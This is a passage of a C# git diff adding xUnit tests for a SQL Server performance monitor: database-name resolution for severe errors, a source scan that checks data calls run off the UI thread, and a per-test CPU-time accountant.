+        Assert.Equal("Offline1", names[50102]);
+        Assert.Equal("master", names[50103]);
+    }
+
+    [Fact]
+    public async Task SevereErrors_AReusedIdWhoseFirstOwnerWentOfflineBeforeTheRange_StillNamesBothOwners_5373()
+    {
+        var service = new LocalDataService(_duckDb);
+        var now = Truncate(DateTime.UtcNow);
+
+        /* A has id 7 until 5 days ago, then goes offline and is dropped. B gets id 7 10 hours ago. */
+        foreach (var h in new[] { 130, 120, 100, 50, 30, 10, 4 }) await SeedDatabaseSizeAsync(1, "master", now.AddHours(-h));
+        foreach (var h in new[] { 130, 125, 120 }) await SeedDatabaseSizeAsync(7, "A", now.AddHours(-h));
+        foreach (var h in new[] { 10, 4 }) await SeedDatabaseSizeAsync(7, "B", now.AddHours(-h));
+        await SeedHealthEventAsync(SystemHealthParser.ErrorReportedEvent, ErrorReportedAt(now.AddHours(-26), 7, 50111), now.AddHours(-26));
+        await SeedHealthEventAsync(SystemHealthParser.ErrorReportedEvent, ErrorReportedAt(now.AddHours(-5), 7, 50112), now.AddHours(-5));
+
+        var names = (await service.GetSevereErrorsAsync(ServerId, hoursBack: 200)).ToDictionary(r => r.ErrorNumber ?? 0, r => r.DatabaseName);
+        Assert.Equal("A", names[50111]);
+        Assert.Equal("B", names[50112]);
+    }
+
+    [Fact]
+    public async Task SevereErrors_AnErrorWithNoTime_ShowsTheNewestNameOfItsId_NotTheRawId_5373()
+    {
+        var service = new LocalDataService(_duckDb);
+        var now = Truncate(DateTime.UtcNow);
+
+        foreach (var h in new[] { 20, 16 }) await SeedDatabaseSizeAsync(7, "A", now.AddHours(-h));
+        foreach (var h in new[] { 12, 2 }) await SeedDatabaseSizeAsync(7, "B", now.AddHours(-h));
+        await SeedHealthEventAsync(SystemHealthParser.ErrorReportedEvent, ErrorReportedAt(now.AddHours(-14), 7, 50121), now.AddHours(-14));
+        /* The row's event_time is set, but its XML carries no timestamp: the parsed error has no time. */
+        await SeedHealthEventAsync(SystemHealthParser.ErrorReportedEvent, WithoutTimestamp(ErrorReportedAt(now.AddHours(-3), 7, 50122)), now.AddHours(-3));
+
+        var names = (await service.GetSevereErrorsAsync(ServerId, hoursBack: 200)).ToDictionary(r => r.ErrorNumber ?? 0, r => r.DatabaseName);
+        Assert.Equal("A", names[50121]);
+        Assert.Equal("B", names[50122]);
+
+        /* Only the untimed error is in the window: there is no time range at all, and the newest name is still found. */
+        var onlyUntimed = Assert.Single(await service.GetSevereErrorsAsync(ServerId, hoursBack: 4));
+        Assert.Equal(50122, onlyUntimed.ErrorNumber);
+        Assert.Equal("B", onlyUntimed.DatabaseName);
+    }
+
+    [Fact]
+    public async Task SevereErrors_AnIdLastSeenBeyond14DaysBeforeTheFloor_ShowsTheRawId_Within14DaysItsName_5373()
+    {
+        var service = new LocalDataService(_duckDb);
+        var now = Truncate(DateTime.UtcNow);
+
+        /* Ids 5 and 6 are in no snapshot of the range. 5 was last collected 20 days before the floor snapshot (outside
+           the 14-day look-back), 6 ten days before it (inside). */
+        foreach (var h in new[] { 40, 30, 20, 10, 2 }) await SeedDatabaseSizeAsync(1, "master", now.AddHours(-h));
+        await SeedDatabaseSizeAsync(5, "Gone20", now.AddHours(-10).AddDays(-20));
+        await SeedDatabaseSizeAsync(6, "Gone10", now.AddHours(-10).AddDays(-10));
+        await SeedHealthEventAsync(SystemHealthParser.ErrorReportedEvent, ErrorReportedAt(now.AddHours(-3), 5, 50131), now.AddHours(-3));
+        await SeedHealthEventAsync(SystemHealthParser.ErrorReportedEvent, ErrorReportedAt(now.AddHours(-3), 6, 50132), now.AddHours(-3));
+
+        var names = (await service.GetSevereErrorsAsync(ServerId, hoursBack: 200)).ToDictionary(r => r.ErrorNumber ?? 0, r => r.DatabaseName);
+        Assert.Equal("database_id 5", names[50131]);
+        Assert.Equal("Gone10", names[50132]);
+    }
+
+    [Fact]
+    public async Task SevereErrors_AnIdFirstSeenBeyond14DaysAfterTheRange_ShowsTheRawId_Within14DaysItsName_5373()
+    {
+        var service = new LocalDataService(_duckDb);
+        var now = Truncate(DateTime.UtcNow);
+        var errorAt = now.AddHours(-150);
+
+        foreach (var h in new[] { 160, 100, 2 }) await SeedDatabaseSizeAsync(1, "master", now.AddHours(-h));
+        await SeedDatabaseSizeAsync(8, "Late10", errorAt.AddDays(10));
+        await SeedDatabaseSizeAsync(9, "Late20", errorAt.AddDays(20));
+        await SeedHealthEventAsync(SystemHealthParser.ErrorReportedEvent, ErrorReportedAt(errorAt, 8, 50141), errorAt);
+        await SeedHealthEventAsync(SystemHealthParser.ErrorReportedEvent, ErrorReportedAt(errorAt, 9, 50142), errorAt);
+
+        var names = (await service.GetSevereErrorsAsync(ServerId, hoursBack: 200)).ToDictionary(r => r.ErrorNumber ?? 0, r => r.DatabaseName);
+        Assert.Equal("Late10", names[50141]);
+        Assert.Equal("database_id 9", names[50142]);
+    }
+
+    [Fact]
+    public async Task SevereErrors_AnErrorWithNoTime_LooksOnlyTheLast14DaysForItsIdsNewestName_5373()
+    {
+        var service = new LocalDataService(_duckDb);
+        var now = Truncate(DateTime.UtcNow);
+
+        await SeedDatabaseSizeAsync(5, "Gone20", now.AddDays(-20));
+        await SeedDatabaseSizeAsync(6, "Gone10", now.AddDays(-10));
+        await SeedHealthEventAsync(SystemHealthParser.ErrorReportedEvent, WithoutTimestamp(ErrorReportedAt(now.AddHours(-3), 5, 50151)), now.AddHours(-3));
+        await SeedHealthEventAsync(SystemHealthParser.ErrorReportedEvent, WithoutTimestamp(ErrorReportedAt(now.AddHours(-3), 6, 50152)), now.AddHours(-3));
+
+        var names = (await service.GetSevereErrorsAsync(ServerId, hoursBack: 200)).ToDictionary(r => r.ErrorNumber ?? 0, r => r.DatabaseName);
+        Assert.Equal("database_id 5", names[50151]);
+        Assert.Equal("Gone10", names[50152]);
+    }
+
+    [Fact]
+    public async Task SevereErrors_TwoNamesForOneIdAtOneInstant_BeforeTheFloorAndAfterTheRange_GiveTheLargerName_5373()
+    {
+        var service = new LocalDataService(_duckDb);
+        var now = Truncate(DateTime.UtcNow);
+        var errorAt = now.AddHours(-100);
+
+        foreach (var h in new[] { 120, 110, 90, 2 }) await SeedDatabaseSizeAsync(1, "master", now.AddHours(-h));
+        /* Id 7 is offline: two names on one instant before the floor (the smaller name is inserted first). */
+        await SeedDatabaseSizeAsync(7, "AAA", now.AddHours(-130));
+        await SeedDatabaseSizeAsync(7, "ZZZ", now.AddHours(-130));
+        /* Id 8 first appears after the range, again two names on one instant. */
+        await SeedDatabaseSizeAsync(8, "BBB", errorAt.AddDays(3));
+        await SeedDatabaseSizeAsync(8, "YYY", errorAt.AddDays(3));
+        await SeedHealthEventAsync(SystemHealthParser.ErrorReportedEvent, ErrorReportedAt(errorAt, 7, 50161), errorAt);
+        await SeedHealthEventAsync(SystemHealthParser.ErrorReportedEvent, ErrorReportedAt(errorAt, 8, 50162), errorAt);
+
+        var names = (await service.GetSevereErrorsAsync(ServerId, hoursBack: 200)).ToDictionary(r => r.ErrorNumber ?? 0, r => r.DatabaseName);
+        Assert.Equal("ZZZ", names[50161]);
+        Assert.Equal("YYY", names[50162]);
+    }
+
     [Fact]
     public async Task SevereErrors_UnmappedDatabaseId_SurfacesTheRawId()
     {
@@ -150,7 +330,7 @@ public async Task SevereErrors_DatabaseFilter_1319_FiltersOnResolvedName()
         var service = new LocalDataService(_duckDb);
 
         var eventTime = Truncate(DateTime.UtcNow.AddHours(-1));
-        await SeedHealthEventAsync(SystemHealthParser.ErrorReportedEvent, LoadFixture("error_reported.xml"), eventTime);
+        await SeedHealthEventAsync(SystemHealthParser.ErrorReportedEvent, ErrorReportedAt(eventTime, databaseId: 6), eventTime);
         await SeedDatabaseSizeAsync(databaseId: 6, databaseName: "ProdDB", collectionTime: eventTime);
 
         // Selecting the resolved name keeps the row; selecting a different DB filters it out.
@@ -254,17 +434,7 @@ public async Task DefaultTrace_DatabaseFilter_1319_FiltersOnDatabaseNameInSql()
         Assert.Single(filtered);
     }
 
-    // ── Pure helpers: database-name resolution (no store), mirroring the shared contract ──
-
-    [Fact]
-    public void ResolveDatabaseName_MappedZeroNullAndUnmapped()
-    {
-        var map = new Dictionary<int, string> { [5] = "AdventureWorks" };
-        Assert.Equal("AdventureWorks", LocalDataService.ResolveDatabaseName(5, map));
-        Assert.Equal(string.Empty, LocalDataService.ResolveDatabaseName(0, map));
-        Assert.Equal(string.Empty, LocalDataService.ResolveDatabaseName(null, map));
-        Assert.Equal("database_id 7", LocalDataService.ResolveDatabaseName(7, map));
-    }
+    // The pure id -> name-at-the-error's-time rule is pinned in Darling.Tests.DatabaseNameHistoryTests (#5373); the store read is below.
 
     // ── Row VM projection (machine-local time, shared UTC frame) ──
 
@@ -289,6 +459,25 @@ public void Rows_EventTimeLocal_SharesTheSameUtcFrame_AndNullRendersEmpty()
 
     // ── Seeding helpers (raw INSERT via the shared initializer's connection, closed before each read) ──
 
+    /// <summary>The error_reported fixture with its own timestamp (and database id, error number) set, so the error
+    /// happened at <paramref name="at"/> the way a collected one does (the row's time comes from the XML).</summary>
+    private static string ErrorReportedAt(DateTime at, int databaseId, int? errorNumber = null)
+    {
+        var none = System.Text.RegularExpressions.RegexOptions.None;
+        var limit = TimeSpan.FromSeconds(5);
+        var xml = System.Text.RegularExpressions.Regex.Replace(
+            LoadFixture("error_reported.xml"), "timestamp=\"[^\"]*\"", $"timestamp=\"{at:yyyy-MM-ddTHH:mm:ss.fffZ}\"", none, limit);
+        xml = System.Text.RegularExpressions.Regex.Replace(
+            xml, "(<action name=\"database_id\".*?<value>)[^<]*(</value>)", "${1}" + databaseId + "${2}", none, limit);
+        if (errorNumber is { } number)
+            xml = System.Text.RegularExpressions.Regex.Replace(
+                xml, "(<data name=\"error_number\"><value>)[^<]*(</value>)", "${1}" + number + "${2}", none, limit);
+        return xml;
+    }
+
+    private static string WithoutTimestamp(string xml) => System.Text.RegularExpressions.Regex.Replace(
+        xml, " timestamp=\"[^\"]*\"", "", System.Text.RegularExpressions.RegexOptions.None, TimeSpan.FromSeconds(5));
+
     private async Task SeedHealthEventAsync(string eventType, string eventXml, DateTime eventTimeUtc)
     {
         using var readLock = _duckDb.AcquireReadLock();
diff --git a/Lite.Tests/TabLoadsOffUiThreadTests.cs b/Lite.Tests/TabLoadsOffUiThreadTests.cs
new file mode 100644
index 0000000000..0520af1869
--- /dev/null
+++ b/Lite.Tests/TabLoadsOffUiThreadTests.cs
@@ -0,0 +1,268 @@
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Runtime.CompilerServices;
+using System.Text;
+using System.Text.RegularExpressions;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #5457: a tab's data call must not run on the UI thread. <c>LocalDataService.OpenConnectionAsync</c> takes the
+/// process-wide store read lock with an untimed <c>EnterReadLock()</c> before its first await, and DuckDB.NET's
+/// async methods complete synchronously, so a call awaited straight from a control's UI thread waits on that lock
+/// there (a writer parked on it, archival or compaction, also holds back every new reader) and then runs the whole
+/// query there. The window stops pumping WPF input while Windows still sees a message loop, which is how a user
+/// saw a tab hang without "Not Responding". <c>ReaderWriterLockSlim</c> is thread-affine, so the call also has to
+/// enter and leave the lock on one pool thread: <c>Task.Run(() =&gt; _dataService.XAsync())</c> does, because the
+/// lambda's thread runs the read to its end. Job History, Alerts and every ServerTab refresh already read this way;
+/// this census holds the rest of <c>Lite/Controls</c>, the main window's Overview tag read, and every window under
+/// <c>Lite/Windows</c> to it. A window's click handlers are the same case as a tab's: Manage Tags, the Database State
+/// Overrides editor and the history and drill-down windows each awaited the store from the dispatcher. Their WRITES go
+/// through <c>Task.Run</c> too (the budgeted-write exemption below is for the main window only): a write waits up to 5 s
+/// for the store write lock, and a window that waited that long on the UI thread looked hung for the whole wait.
+/// </summary>
+public class TabLoadsOffUiThreadTests
+{
+    /* Calls that sit outside a Task.Run lexically because the METHOD holding them is only ever called from inside
+       one. Each entry is (file, data-service method, helper that holds the call). The census also checks that every
+       reference to the helper is itself inside a Task.Run. */
+    private static readonly (string File, string Call, string Helper)[] HelpersOnlyCalledOffTheUiThread =
+    {
+        ("Lite/Controls/AlertsHistoryTab.xaml.cs", "GetServerClockAsync", "ReadCollectedClocksAsync"),
+        ("Lite/Controls/ServerTab.Refresh.cs", "GetBaselineDiscontinuitiesAsync", "SafeDiscontinuitiesAsync"),
+    };
+
+    /* The tag clear the main window starts when a server is removed. It takes OpenWriteConnectionAsync, which waits for the write
+       lock for WriteLockBudget (5 s in the shipped app) and then throws, so it cannot park the dispatcher behind the store lock
+       the way the untimed read lock can. The exemption is the main window's only: a window under Lite/Windows moves its writes
+       into Task.Run as well, so a click never holds the dispatcher for the budget. */
+    private static readonly HashSet<string> BudgetedWrites = new(StringComparer.Ordinal)
+    {
+        "CreateServerTagAsync", "RenameServerTagAsync", "DeleteServerTagAsync",
+        "AssignServerTagAsync", "UnassignServerTagAsync", "ClearServerTagsForServerAsync",
+    };
+
+    /* A call on the data service, or the one static helper that reads on the caller's thread (McpEngineCapability.EngineEditionAsync(_dataService, id)),
+       which reads the store there. Other helpers handed the service (ReadCardClockAsync, ReadDrillAsync) wrap their own reads. */
+    private static readonly Regex DataServiceCall = new(
+        @"\b_?dataService\s*\.\s*(?<method>[A-Za-z]+Async)\s*\(|\b(?<method>EngineEditionAsync)\s*\(\s*_?dataService\b", RegexOptions.Compiled);
+
+    [Fact]
+    public void EveryTabDataCallRunsInsideTaskRun()
+    {
+        var root = RepoRoot();
+        var violations = new List<string>();
+        var seen = 0;
+
+        var litePath = Path.Combine(root, "Lite");
+        foreach (var path in Directory.EnumerateFiles(Path.Combine(litePath, "Controls"), "*.cs", SearchOption.AllDirectories)
+                     .Concat(Directory.EnumerateFiles(Path.Combine(litePath, "Windows"), "*.cs", SearchOption.AllDirectories))
+                     .Concat(Directory.EnumerateFiles(litePath, "MainWindow*.cs", SearchOption.TopDirectoryOnly))
+                     .Where(p => !IsBuildOutput(p))
+                     .OrderBy(p => p, StringComparer.Ordinal))
+        {
+            var relative = Path.GetRelativePath(root, path).Replace('\\', '/');
+            var code = Strip(File.ReadAllText(path));
+            foreach (var violation in FindCallsOutsideTaskRun(code))
+            {
+                if (BudgetedWrites.Contains(violation.Method) && !relative.StartsWith("Lite/Windows/", StringComparison.Ordinal))
+                {
+                    continue;
+                }
+
+                seen++;
+                if (HelpersOnlyCalledOffTheUiThread.Any(h => h.File == relative && h.Call == violation.Method))
+                {
+                    continue;
+                }
+
+                violations.Add($"{relative}:{LineOf(code, violation.Index)} {violation.Method}");
+            }
+        }
+
+        Assert.True(violations.Count == 0,
+            "These Lite/Controls, Lite/Windows and MainWindow data calls are awaited on the UI thread, where they wait on the store read lock (and "
+            + "run the whole synchronous DuckDB query) on the dispatcher (#5457). Wrap each in Task.Run(() => ...), "
+            + "reading any control value first on the UI thread:\n" + string.Join("\n", violations));
+
+        /* Not vacuous: the allowlisted helpers' own calls were the ones seen. */
+        Assert.Equal(HelpersOnlyCalledOffTheUiThread.Length, seen);
+    }
+
+    [Fact]
+    public void TheHelpersTheCensusAllowsAreOnlyCalledInsideTaskRun()
+    {
+        var root = RepoRoot();
+        foreach (var (file, call, helper) in HelpersOnlyCalledOffTheUiThread)
+        {
+            var code = Strip(File.ReadAllText(Path.Combine(root, file))
+                .Replace("\r\n", "\n"));
+            Assert.Contains(call + "(", code);
+
+            /* A reference that follows the return type's closing '>' is the declaration; '=>' is a lambda body. */
+            var reference = new Regex(@"\b" + helper + @"\s*\(");
+            var callSites = reference.Matches(code).Cast<Match>()
+                .Where(m => !Regex.IsMatch(code[..m.Index], @"(?<!=)>\s*$"))
+                .ToList();
+            Assert.NotEmpty(callSites);
+            foreach (var site in callSites)
+            {
+                Assert.True(IsInsideTaskRun(code, site.Index),
+                    $"{file}:{LineOf(code, site.Index)} {helper}() is outside Task.Run, and it holds {call}, which waits on the store lock.");
+            }
+        }
+    }
+
+    [Fact]
+    public void TheCensusSeesALockWaitOnTheUiThreadAndNotOneInsideTaskRun()
+    {
+        var onUiThread = Strip("private async Task Load()\n{\n    var rows = await _dataService.GetFooAsync(1, \"(\");\n}");
+        Assert.Single(FindCallsOutsideTaskRun(onUiThread));
+
+        var inLambda = Strip(
+            "var rows = await Task.Run(async () =>\n{\n    // a comment with ( and )\n    var a = await dataService.GetFooAsync(1);\n"
+            + "    return (a, await dataService.GetBarAsync(2));\n});");
+        Assert.Empty(FindCallsOutsideTaskRun(inLambda));
+
+        var expressionBody = Strip("var t = System.Threading.Tasks.Task.Run(() => _dataService.GetFooAsync(1));");
+        Assert.Empty(FindCallsOutsideTaskRun(expressionBody));
+
+        /* The paren that closes a Task.Run must not cover a call written after it. */
+        var after = Strip("var a = await Task.Run(() => Other());\nvar b = await _dataService.GetFooAsync(1);");
+        Assert.Single(FindCallsOutsideTaskRun(after));
+
+        /* A helper handed the data service reads the store on the caller's thread too. */
+        var helper = Strip("var e = await McpEngineCapability.EngineEditionAsync(_dataService, serverId);");
+        Assert.Single(FindCallsOutsideTaskRun(helper));
+        Assert.Empty(FindCallsOutsideTaskRun(Strip("var e = await Task.Run(() => McpEngineCapability.EngineEditionAsync(_dataService, serverId));")));
+    }
+
+    private static IEnumerable<(string Method, int Index)> FindCallsOutsideTaskRun(string strippedCode)
+    {
+        foreach (Match m in DataServiceCall.Matches(strippedCode))
+        {
+            if (!IsInsideTaskRun(strippedCode, m.Index))
+            {
+                yield return (m.Groups["method"].Value, m.Index);
+            }
+        }
+    }
+
+    /// <summary>True when an unclosed '(' before <paramref name="index"/> opens a Task.Run / StartNew argument list.</summary>
+    private static bool IsInsideTaskRun(string code, int index)
+    {
+        var depth = 0;
+        for (var i = index - 1; i >= 0; i--)
+        {
+            var c = code[i];
+            if (c == ')')
+            {
+                depth++;
+            }
+            else if (c == '(')
+            {
+                if (depth > 0)
+                {
+                    depth--;
+                    continue;
+                }
+
+                var before = code[Math.Max(0, i - 40)..i];
+                if (Regex.IsMatch(before, @"Task\s*\.\s*Run\s*$") ||
+                    Regex.IsMatch(before, @"Task\s*\.\s*Factory\s*\.\s*StartNew\s*$"))
+                {
+                    return true;
+                }
+            }
+        }
+
+        return false;
+    }
+
+    /// <summary>The source with comments and string and char literals blanked, so a parenthesis in one cannot unbalance the scan.</summary>
+    private static string Strip(string source)
+    {
+        var sb = new StringBuilder(source.Length);
+        var i = 0;
+        while (i < source.Length)
+        {
+            var c = source[i];
+            var next = i + 1 < source.Length ? source[i + 1] : '\0';
+            if (c == '/' && next == '/')
+            {
+                while (i < source.Length && source[i] != '\n') { sb.Append(' '); i++; }
+            }
+            else if (c == '/' && next == '*')
+            {
+                while (i < source.Length && !(source[i] == '*' && i + 1 < source.Length && source[i + 1] == '/'))
+                {
+                    sb.Append(source[i] == '\n' ? '\n' : ' ');
+                    i++;
+                }
+
+                if (i < source.Length) { sb.Append("  "); i += 2; }
+            }
+            else if (c == '"' || ((c == '@' || c == '$') && (next == '"' || (next is '@' or '$' && i + 2 < source.Length && source[i + 2] == '"'))))
+            {
+                var verbatim = false;
+                while (i < source.Length && source[i] != '"') { verbatim |= source[i] == '@'; sb.Append(' '); i++; }
+                sb.Append(' '); i++; /* opening quote */
+                while (i < source.Length)
+                {
+                    if (source[i] == '\\' && !verbatim) { sb.Append("  "); i += 2; continue; }
+                    if (source[i] == '"')
+                    {
+                        if (verbatim && i + 1 < source.Length && source[i + 1] == '"') { sb.Append("  "); i += 2; continue; }
+                        break;
+                    }
+
+                    sb.Append(source[i] == '\n' ? '\n' : ' ');
+                    i++;
+                }
+
+                sb.Append(' '); i++; /* closing quote */
+            }
+            else if (c == '\'' && next != '\0')
+            {
+                /* A char literal ('(' or '\'') and nothing else uses a quote here. */
+                var end = next == '\\' ? i + 3 : i + 2;
+                if (end < source.Length && source[end] == '\'')
+                {
+                    sb.Append(' ', end - i + 1);
+                    i = end + 1;
+                }
+                else
+                {
+                    sb.Append(c); i++;
+                }
+            }
+            else
+            {
+                sb.Append(c); i++;
+            }
+        }
+
+        return sb.ToString();
+    }
+
+    private static int LineOf(string code, int index) => code.AsSpan(0, index).Count('\n') + 1;
+
+    private static bool IsBuildOutput(string path) =>
+        path.Split(Path.DirectorySeparatorChar, Path.AltDirectorySeparatorChar).Any(s => s is "bin" or "obj");
+
+    private static string RepoRoot([CallerFilePath] string thisFile = "")
+    {
+        for (var dir = new DirectoryInfo(Path.GetDirectoryName(thisFile)!); dir is not null; dir = dir.Parent)
+        {
+            if (Directory.Exists(Path.Combine(dir.FullName, "PerformanceMonitor.Collectors")))
+            {
+                return dir.FullName;
+            }
+        }
+
+        throw new DirectoryNotFoundException($"could not locate the repo root walking up from {thisFile}");
+    }
+}
diff --git a/Lite.Tests/TestCpuAccountant.cs b/Lite.Tests/TestCpuAccountant.cs
new file mode 100644
index 0000000000..d652e50834
--- /dev/null
+++ b/Lite.Tests/TestCpuAccountant.cs
@@ -0,0 +1,246 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Concurrent;
+using System.Diagnostics;
+using System.Globalization;
+using System.IO;
+using System.Reflection;
+using System.Runtime.InteropServices;
+using System.Threading;
+using Xunit;
+using Xunit.v3;
+
+// #5208 (W2b): charge managed CPU time to the test that spent it, so a later change can cut Lite shards by CPU
+// instead of by wall time (wall time includes waiting on the other tests that run in parallel). Measurement
+// only: this attribute does not skip, filter or re-order a test.
+[assembly: Lite.Tests.TestCpuTime]
+[assembly: AssemblyFixture(typeof(Lite.Tests.TestCpuRunSummary))]
+
+namespace Lite.Tests;
+
+/// <summary>
+/// One test's running CPU total, in 100 ns units. Written from whichever thread the test's work happens to be on.
+/// </summary>
+internal sealed class TestCpuCharge
+{
+    private long _ticks;
+
+    public long Ticks => Interlocked.Read(ref _ticks);
+
+    public void Add(long ticks)
+    {
+        if (ticks > 0)
+        {
+            Interlocked.Add(ref _ticks, ticks);
+        }
+    }
+}
+
+/// <summary>
+/// The accountant (#5208). An <see cref="AsyncLocal{T}"/> carries the current test's <see cref="TestCpuCharge"/>
+/// through every await and every thread-pool hop that flows the execution context. Its value-changed callback runs
+/// on the thread that is leaving or entering a context, and there the accountant reads that thread's CPU time and
+/// charges what the thread spent since its last reading to the context it is leaving. So CPU spent on a test's own
+/// thread, and CPU spent after an await on another pool thread, both land on the same test, and two tests running
+/// in parallel are charged separately.
+///
+/// What it cannot see, by design: native threads (DuckDB's own worker threads), and work queued without the
+/// execution context (<c>ThreadPool.UnsafeQueueUserWorkItem</c>, <c>ExecutionContext.SuppressFlow</c>, a
+/// dedicated thread started inside <c>SuppressFlow</c>). That work is not charged to any test. The run summary
+/// (<see cref="TestCpuRunSummary"/>) reports how much of the process's CPU the charged total covers.
+/// Thread CPU comes from <c>GetThreadTimes</c>, whose resolution is the scheduler's accounting tick, so a
+/// single short test reads coarse; the sum over many tests is what to trust. Windows only; elsewhere it is a no-op.
+/// </summary>
+internal static class TestCpuAccountant
+{
+    /// <summary>Set PM_LITE_TEST_CPU_TIME=off to switch the hook off entirely.</summary>
+    internal static readonly bool Enabled =
+        OperatingSystem.IsWindows()
+        && !string.Equals(Environment.GetEnvironmentVariable("PM_LITE_TEST_CPU_TIME"), "off", StringComparison.OrdinalIgnoreCase);
+
+    private static readonly AsyncLocal<TestCpuCharge?> CurrentCharge = new(OnChanged);
+
+    [ThreadStatic] private static long t_lastMark;
+    [ThreadStatic] private static bool t_marked;
+
+    internal static TestCpuCharge? Current => CurrentCharge.Value;
+
+    internal static TestCpuCharge Begin()
+    {
+        var charge = new TestCpuCharge();
+        CurrentCharge.Value = charge;
+        return charge;
+    }
+
+    /// <summary>
+    /// Ends the charge: counts what this thread has spent since its last reading when it is still inside the test's
+    /// context, detaches the context, and returns the total in 100 ns ticks.
+    /// </summary>
+    internal static long End(TestCpuCharge charge)
+    {
+        if (ReferenceEquals(CurrentCharge.Value, charge) && t_marked)
+        {
+            charge.Add(ReadAndMark());
+        }
+        // Setting the value runs OnChanged, which charges nothing further now (the mark above is current).
+        if (ReferenceEquals(CurrentCharge.Value, charge))
+        {
+            CurrentCharge.Value = null;
+        }
+        return charge.Ticks;
+    }
+
+    private static void OnChanged(AsyncLocalValueChangedArgs<TestCpuCharge?> args)
+    {
+        long delta = 0;
+        if (t_marked && args.PreviousValue is not null)
+        {
+            delta = ReadAndMark();
+        }
+        else
+        {
+            t_lastMark = ThreadCpuTicks();
+            t_marked = true;
+        }
+        args.PreviousValue?.Add(delta);
+    }
+
+    private static long ReadAndMark()
+    {
+        long now = ThreadCpuTicks();
+        long delta = now - t_lastMark;
+        t_lastMark = now;
+        return delta;
+    }
+
+    internal static long ThreadCpuTicks()
+    {
+        if (!Enabled)
+        {
+            return 0;
+        }
+        return GetThreadTimes(GetCurrentThread(), out _, out _, out long kernel, out long user) ? kernel + user : 0;
+    }
+
+    [DllImport("kernel32.dll")]
+    private static extern IntPtr GetCurrentThread();
+
+    [DllImport("kernel32.dll", SetLastError = true)]
+    [return: MarshalAs(UnmanagedType.Bool)]
+    private static extern bool GetThreadTimes(IntPtr thread, out long creation, out long exit, out long kernel, out long user);
+}
+
+/// <summary>
+/// Assembly-level hook (#5208): opens a charge before each test and, after it, adds the attachment <c>cpu-ms</c>
+/// (the milliseconds charged) so it lands in the <c>-xml</c> result file beside the test's wall time.
+/// </summary>
+[AttributeUsage(AttributeTargets.Assembly, AllowMultiple = false)]
+internal sealed class TestCpuTimeAttribute : BeforeAfterTestAttribute
+{
+    private static readonly ConcurrentDictionary<string, TestCpuCharge> Open = new();
+
+    public override void Before(MethodInfo methodUnderTest, IXunitTest test)
+    {
+        if (TestCpuAccountant.Enabled)
+        {
+            Open[test.UniqueID] = TestCpuAccountant.Begin();
+        }
+    }
+
+    public override void After(MethodInfo methodUnderTest, IXunitTest test)
+    {
+        if (!Open.TryRemove(test.UniqueID, out var charge))
+        {
+            return;
+        }
+        long ms = TestCpuAccountant.End(charge) / TimeSpan.TicksPerMillisecond;
+        TestCpuRunSummary.Record(ms);
+        TestContext.Current.AddAttachment("cpu-ms", ms.ToString(CultureInfo.InvariantCulture));
+    }
+}
+
+/// <summary>
+/// Assembly fixture (#5208): at the end of the run, logs one line with the sum of every <c>cpu-ms</c>, the
+/// process's own CPU time, and the ratio of the two (the coverage), and writes the same numbers to a sidecar
+/// <c>&lt;xml&gt;.cpu.json</c> next to the <c>-xml</c> file when the run was given one. The sidecar is separate from
+/// the XML because the runner owns that file; <c>lite-timing-top.py</c> and <c>lite-shard-pack.py backtest</c> read both.
+/// </summary>
+public sealed class TestCpuRunSummary : IDisposable
+{
+    private static long s_chargedMs;
+    private static int s_tests;
+    private static string? s_sidecarPath;
+
+    /// <summary>
+    /// Resolves the sidecar path when the run starts, while the process still has the directory the runner was started in: under
+    /// <c>dotnet run</c> the test process's working directory is later the build output folder, so a relative
+    /// <c>-xml</c> path resolved at the end of the run would point at a folder that does not exist.
+    /// </summary>
+    [System.Runtime.CompilerServices.ModuleInitializer]
+    internal static void CaptureSidecarPath()
+    {
+        string? path = SidecarPath(Environment.GetCommandLineArgs());
+        s_sidecarPath = path is null ? null : Path.GetFullPath(path);
+    }
+
+    internal static void Record(long ms)
+    {
+        Interlocked.Add(ref s_chargedMs, ms);
+        Interlocked.Increment(ref s_tests);
+    }
+
+    internal static string Line(long chargedMs, double processMs, int tests)
+    {
+        double ratio = processMs > 0 ? chargedMs / processMs : 0;
+        return string.Create(CultureInfo.InvariantCulture,
+            $"Lite test CPU coverage: charged {chargedMs} ms over {tests} tests, process {processMs:F0} ms, ratio {ratio:P1}");
+    }
+
+    internal static string? SidecarPath(string[] args)
+    {
+        for (int i = 0; i < args.Length - 1; i++)
+        {
+            if (args[i] is "-xml" or "--xml")
+            {
+                return args[i + 1] + ".cpu.json";
+            }
+        }
+        return null;
+    }
+
+    public void Dispose()
+    {
+        if (!TestCpuAccountant.Enabled)
+        {
+            return;
+        }
+        long charged = Interlocked.Read(ref s_chargedMs);
+        int tests = Volatile.Read(ref s_tests);
+        double processMs = Process.GetCurrentProcess().TotalProcessorTime.TotalMilliseconds;
+        string line = Line(charged, processMs, tests);
+        Console.Out.WriteLine(line);
+        try
+        {
+            string? path = s_sidecarPath;
+            if (path is not null)
+            {
+                // The runner writes its own XML after this fixture is disposed, so the folder may not exist yet.
+                Directory.CreateDirectory(Path.GetDirectoryName(path)!);
+                File.WriteAllText(path, string.Create(CultureInfo.InvariantCulture,
+                    $"{{\"cpu_ms\":{charged},\"process_cpu_ms\":{processMs:F0},\"tests\":{tests}}}"));
+            }
+            Console.Out.WriteLine($"Lite test CPU coverage: sidecar {(path ?? "not requested (no -xml argument in: " + string.Join(" ", Environment.GetCommandLineArgs()) + ")")}");
+        }
+        catch (Exception ex) when (ex is IOException or UnauthorizedAccessException)
+        {
+            Console.Out.WriteLine($"Lite test CPU coverage: sidecar not written: {ex.Message}");
+        }
+    }
+}
diff --git a/Lite.Tests/TestCpuAccountantTests.cs b/Lite.Tests/TestCpuAccountantTests.cs
new file mode 100644
index 0000000000..cedd417ed4
--- /dev/null
+++ b/Lite.Tests/TestCpuAccountantTests.cs
@@ -0,0 +1,186 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Diagnostics;
+using System.Threading;
+using System.Threading.Tasks;
+using Xunit;
+
+namespace Lite.Tests;
+
+/// <summary>
